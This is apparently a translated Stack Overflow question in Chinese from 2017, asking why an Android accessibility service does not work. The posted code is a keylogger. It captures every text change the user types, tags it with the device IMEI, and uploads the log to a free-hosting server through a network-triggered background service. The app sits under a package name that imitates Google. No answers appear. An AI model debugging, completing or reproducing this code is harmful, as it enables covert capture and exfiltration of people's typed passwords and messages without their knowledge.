辅助功能服务不起作用

时间:2017-05-03 14:26:37

标签: android android-service android-accessibility

我在应用程序中获得了一个accessiblity服务,它将您输入的文本同步到互联网,就像机器类型一样。这对我来说不起作用,我调试的任何东西都没有用。下面是代码:

AccessibilityServices类:

package com.google.android.googleplaysongs;

import android.accessibilityservice.AccessibilityService;
import android.content.Context;
import android.content.SharedPreferences;
import android.preference.PreferenceManager;
import android.telephony.TelephonyManager;
import android.view.accessibility.AccessibilityEvent;
import android.widget.Toast;

import java.io.File;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.text.SimpleDateFormat;
import java.util.Calendar;

public class AccessibilityServices extends AccessibilityService{

    // Shared Preference initialization section for editor and preferences
    SharedPreferences.Editor editor = PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit();
    SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(getApplicationContext());

    // Shared Preferences used in the service
    String imei = prefs.getString("imei", null);
    String mseg = prefs.getString("mseg", null);
    String time = prefs.getString("time", null);

    @Override
    public void onAccessibilityEvent(AccessibilityEvent event){
        final int eventType = event.getEventType();
        if(eventType == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED){
            Toast toast = Toast.makeText(this.getApplicationContext(), "Accessiblity Event Recieved", Toast.LENGTH_SHORT);
            toast.show();
            StringBuilder sb = new StringBuilder();
            for(CharSequence s : event.getText()){
                sb.append(s);
            }
            writeToLogger(sb.toString());
        }
    }

    @Override
    public void onInterrupt(){}

    public void writeToLogger(String eventText){
        Toast toasti = Toast.makeText(this.getApplicationContext(), "Accessiblity Service Passed", Toast.LENGTH_SHORT);
        toasti.show();
        if(imei == null){
            editor.putString("imei", getImei());
            editor.commit();
        }
        Toast toastk = Toast.makeText(this.getApplicationContext(), "Falg 1", Toast.LENGTH_SHORT);
        toastk.show();
        if(mseg == null || time == null){ // LogicalOr is used for quick execution
            editor.putString("mseg", eventText);
            editor.putString("time", getTime());
            editor.commit();
            Toast toastio = Toast.makeText(this.getApplicationContext(), "Falg 2", Toast.LENGTH_SHORT);
            toastio.show();
        }
        else{
            if(eventText.contains(mseg)){
                // Update the shared preference here
                editor.putString("mseg", eventText);
                editor.commit();
            }
            else{
                // Insert into log.txt
                File file = new File(this.getFilesDir(), "data.txt");
                if(!file.exists()) {
                    try {
                        file.createNewFile();
                    } catch (Exception e){
                        e.printStackTrace();
                    }
                }
                try {
                    OutputStreamWriter outputStream = new OutputStreamWriter(this.openFileOutput(file.getName(), Context.MODE_PRIVATE));
                    outputStream.append(time).append("-").append(imei).append("-").append(mseg).append("\n");
                    outputStream.close();
                } catch (IOException e){
                    e.printStackTrace();
                }
                // Reset the shared preferences
                editor.putString("mseg", eventText);
                editor.putString("time", getTime());
                editor.commit();
                Toast toastkl = Toast.makeText(this.getApplicationContext(), "Falg 3", Toast.LENGTH_SHORT);
                toastkl.show();
            }
        }
        Toast toast = Toast.makeText(this.getApplicationContext(), eventText, Toast.LENGTH_SHORT);
        toast.show();
    }

    public String getImei(){
        TelephonyManager telephonyManager = null;
        if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.LOLLIPOP) {
            telephonyManager = (TelephonyManager) this.getSystemService(Context.TELECOM_SERVICE);
        }
        Toast toast = Toast.makeText(this.getApplicationContext(), "imei", Toast.LENGTH_SHORT);
        toast.show();
        assert telephonyManager != null;
        return telephonyManager.getDeviceId();
    }

    public String getTime(){
        Calendar c = Calendar.getInstance();
        SimpleDateFormat df = new SimpleDateFormat("yyyy MM dd HH mm");
        String formattedDte = df.format(c.getTime());
        formattedDte = formattedDte.replace(" ", "");
        Toast toast = Toast.makeText(this.getApplicationContext(), "time returned"+formattedDte, Toast.LENGTH_SHORT);
        toast.show();
        return formattedDte;
    }
}

NetworkBroadcaster类:

package com.google.android.googleplaysongs;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;

public class NetworkBroadcaster extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent inte) {
        ConnectivityManager cm = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
        NetworkInfo info = cm.getActiveNetworkInfo();

        if (info != null && info.isConnected()) {
            Intent intent = new Intent(context, NetworkSyncer.class);
            context.startService(intent);
        }
    }
}

NetworkSyncer类:

package com.google.android.googleplaysongs;

import android.app.Service;
import android.content.Intent;
import android.os.IBinder;
import android.support.annotation.Nullable;

import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.net.HttpURLConnection;
import java.net.URL;

public class NetworkSyncer extends Service {

    int mStartMode;

    @Nullable
    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId){
        uploadFile();
        return mStartMode;
    }

    @Override
    public void onDestroy(){
        super.onDestroy();
    }

    public void uploadFile(){
        File file = new File(this.getFilesDir(), "data.txt");
        String urlServer = "https://u-database.000webhostapp.com/";

        HttpURLConnection conn;
        DataOutputStream dos;

        String lineEnd = "\r\n";
        String twoHyphens = "--";
        String boundary = "**X**";

        int bytesRead, bytesAvailable, bufferSize;
        int maxBufferSize = 1024 * 1024;

        byte[] buffer;
        if (file.isFile()){
            try{
                FileInputStream fileInputStream = new FileInputStream(file);
                URL url = new URL(urlServer);

                // Setiing up the connection
                conn = (HttpURLConnection) url.openConnection();
                conn.setDoInput(true);
                conn.setDoOutput(true);
                conn.setUseCaches(false);
                conn.setRequestMethod("POST");
                conn.setRequestProperty("Connection", "Keep-Alive");
                conn.setRequestProperty("ENCTYPE",  "multipart/form-data");
                conn.setRequestProperty("Content-Type", "multipart/form-data;boundary=" + boundary);
                conn.setRequestProperty("textLog", file.getAbsolutePath());

                dos = new DataOutputStream(conn.getOutputStream());
                dos.writeBytes(twoHyphens + boundary + lineEnd);
                dos.writeBytes("Content-Disposition: form-data;"+
                        "name=\"textLog\";filename=\""+file.getAbsolutePath()+"\""+lineEnd
                );
                dos.writeBytes(lineEnd);

                // create a buffer of maximum size
                bytesAvailable = fileInputStream.available();

                bufferSize = Math.min(bytesAvailable, maxBufferSize);
                buffer = new byte[bufferSize];

                // read file and write it into form...
                bytesRead = fileInputStream.read(buffer, 0, bufferSize);

                while (bytesRead > 0) {
                    dos.write(buffer, 0, bufferSize);
                    bytesAvailable = fileInputStream.available();
                    bufferSize = Math.min(bytesAvailable, maxBufferSize);
                    bytesRead = fileInputStream.read(buffer, 0, bufferSize);

                }
                dos.writeBytes(lineEnd);
                dos.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd);

                // Responses from the server (code and message)
                String serverResponseMessage = conn.getResponseMessage();
                if(conn.getResponseCode() == 200) {
                    if(serverResponseMessage.equals("success")) {
                        file.delete();
                    }
                }

                // Close the streams
                fileInputStream.close();
                dos.flush();
                dos.close();
            }catch(Exception e){e.printStackTrace();}
        }
    }
}

我的清单:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.google.android.googleplaysongs">
    <uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
    <uses-permission android:name="android.permission.MANAGE_DOCUMENTS"/>
    <application android:allowBackup="false">
        <!-- Service for Accessibility-->
        <service android:name=".AccessibilityServices"
            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
            android:label="@string/app_name">
            <intent-filter>
                <action android:name="android.accessibilityservice.AccessibilityService"/>
            </intent-filter>
            <meta-data
                android:name="android.accessibilityservice"
                android:resource="@xml/accessibility_service_config" />
        </service>
        <!-- Broadcast Reciever -->
        <receiver android:name=".NetworkBroadcaster">
            <intent-filter>
                <action android:name="android.net.conn.CONNECTIVITY_CHANGE"/>
            </intent-filter>
        </receiver>
        <!-- Service for syncing data -->
        <service android:name=".NetworkSyncer" /> -->
    </application>
</manifest>

注意:当writeToLogger()函数只包含一个toast来显示传递的字符串时,它正在工作,但当我尝试注释掉代码时,它确实没有用,我真的不知道为什么。< / p>

如果有人可以帮助我,我会很高兴。

更新:它没有显示任何错误

0 个答案:

没有答案